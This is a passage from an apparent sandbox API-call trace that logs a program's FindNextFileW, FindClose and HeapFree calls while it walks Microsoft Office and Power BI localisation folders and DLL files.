dwReserved1=0x2e0000, cFileName="zh-HANS", cAlternateFileName="")) returned 1 [0119.492] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.492] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 1 [0119.495] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0119.495] FindNextFileW (in: hFindFile=0x3e502c0, lpFindFileData=0x349eb94 | out: lpFindFileData=0x349eb94*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00af60a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xfa5581c0, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xfa5581c0, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="zh-HANT", cAlternateFileName="")) returned 0 [0119.495] FindClose (in: hFindFile=0x3e502c0 | out: hFindFile=0x3e502c0) returned 1 [0119.495] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ee3ea0 | out: hHeap=0x4b0000) returned 1 [0119.495] FindNextFileW (in: hFindFile=0x3e50640, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x895576a, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x895576a, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bin", cAlternateFileName="")) returned 0 [0119.495] FindClose (in: hFindFile=0x3e50640 | out: hFindFile=0x3e50640) returned 1 [0119.496] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3ed3e98 | out: hHeap=0x4b0000) returned 1 [0119.497] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x1992fb3, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1992fb3, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x2283d0f, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x3688, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="MSOSEC.DLL", cAlternateFileName="")) returned 1 [0120.095] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3eb3e88 | out: hHeap=0x4b0000) returned 1 [0120.095] FindNextFileW (in: hFindFile=0x3e50200, lpFindFileData=0x349f08c | out: lpFindFileData=0x349f08c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd42039, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="Power View Excel Add-in", cAlternateFileName="POWERV~1")) returned 1 [0120.109] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.109] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf12dd5ae, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133819a5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133819a5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="bg", cAlternateFileName="")) returned 1 [0120.112] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.112] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0x133a7bf5, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x133a7bf5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x4090, dwReserved0=0x0, dwReserved1=0x0, cFileName="BI-Report.png", cAlternateFileName="BI-REP~1.PNG")) returned 1 [0120.118] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.119] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9a9d821, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133cde53, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133cde53, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="cs", cAlternateFileName="")) returned 1 [0120.121] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.122] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6a6473, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da", cAlternateFileName="")) returned 1 [0120.130] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.130] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6354def, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x133f40a9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x133f40a9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de", cAlternateFileName="")) returned 1 [0120.133] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.133] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf46b8986, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el", cAlternateFileName="")) returned 1 [0120.139] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.139] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7582db3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es", cAlternateFileName="")) returned 1 [0120.142] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.142] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b0f72e, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="et", cAlternateFileName="")) returned 1 [0120.147] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.147] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6d2a978, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1341a2e5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1341a2e5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="eu", cAlternateFileName="")) returned 1 [0120.151] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.151] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x138defa8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x138defa8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi", cAlternateFileName="")) returned 1 [0120.158] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.158] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ae94c9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13440553, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13440553, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fr", cAlternateFileName="")) returned 1 [0120.159] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.159] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf9ac3a61, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13aced2b, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13aced2b, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="gl", cAlternateFileName="")) returned 1 [0120.165] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.165] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4a98712, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13a8299e, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13a8299e, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="he", cAlternateFileName="")) returned 1 [0120.168] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.168] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfa806c3d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1428e945, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1428e945, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hi", cAlternateFileName="")) returned 1 [0120.172] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0120.172] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7beb2bc, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x13b67741, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x13b67741, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hr", cAlternateFileName="")) returned 1 [0121.448] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0121.448] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6164f96, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14648313, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14648313, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="hu", cAlternateFileName="")) returned 1 [0121.451] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0121.451] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1434d390, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1434d390, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="id", cAlternateFileName="")) returned 1 [0121.461] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0121.461] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf964b3dd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14969496, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14969496, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="it", cAlternateFileName="")) returned 1 [0121.462] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0121.462] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf15d84bd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x146e0bdc, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x146e0bdc, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ja", cAlternateFileName="")) returned 1 [0121.467] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0121.467] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfae6f174, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14b330aa, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14b330aa, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="kk", cAlternateFileName="")) returned 1 [0121.472] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0121.472] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf17ee5c3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x14ac0994, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x14ac0994, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ko", cAlternateFileName="")) returned 1 [0121.478] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0121.478] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf7b529d9, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x152a6704, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x152a6704, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lt", cAlternateFileName="")) returned 1 [0121.482] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0121.482] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf035e09d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1525a179, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1525a179, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="lv", cAlternateFileName="")) returned 1 [0121.488] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0121.488] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x220, ftCreationTime.dwLowDateTime=0xf42b29f3, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0xf42b29f3, ftLastAccessTime.dwHighDateTime=0x1d327e7, ftLastWriteTime.dwLowDateTime=0xf42d8c51, ftLastWriteTime.dwHighDateTime=0x1d327e7, nFileSizeHigh=0x0, nFileSizeLow=0x15f460, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft.PowerBI.Diagnostics.dll", cAlternateFileName="MICROS~1.DLL")) returned 1 [0121.496] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0121.496] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x718b80, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x15a3fea8, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15a3fea8, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="nl", cAlternateFileName="")) returned 1 [0121.499] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0121.500] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf18f9628, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b71118, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b71118, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="no", cAlternateFileName="")) returned 1 [0121.505] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0121.505] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf44c8b33, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15b24c93, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15b24c93, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pl", cAlternateFileName="")) returned 1 [0121.509] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0121.509] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15bbd5ad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15bbd5ad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt", cAlternateFileName="")) returned 1 [0121.514] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0121.514] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf475131d, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15be380c, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15be380c, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0122.156] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0122.156] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6ac83cd, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d3adab, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d3adab, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ro", cAlternateFileName="")) returned 1 [0122.164] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0122.164] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe00baf, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15d14b21, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15d14b21, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="ru", cAlternateFileName="")) returned 1 [0122.165] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0122.165] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6c6bda4, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e92299, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e92299, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sk", cAlternateFileName="")) returned 1 [0122.174] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0122.174] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1b359a5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15e45dad, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15e45dad, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sl", cAlternateFileName="")) returned 1 [0122.178] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 [0122.178] FindNextFileW (in: hFindFile=0x3e50400, lpFindFileData=0x349ee10 | out: lpFindFileData=0x349ee10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1a2a905, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x15f04999, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x15f04999, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="sr-cyrl", cAlternateFileName="")) returned 1 [0122.184] HeapFree (in: hHeap=0x4b0000, dwFlags=0x0, lpMem=0x3f93ec0 | out: hHeap=0x4b0000) returned 1 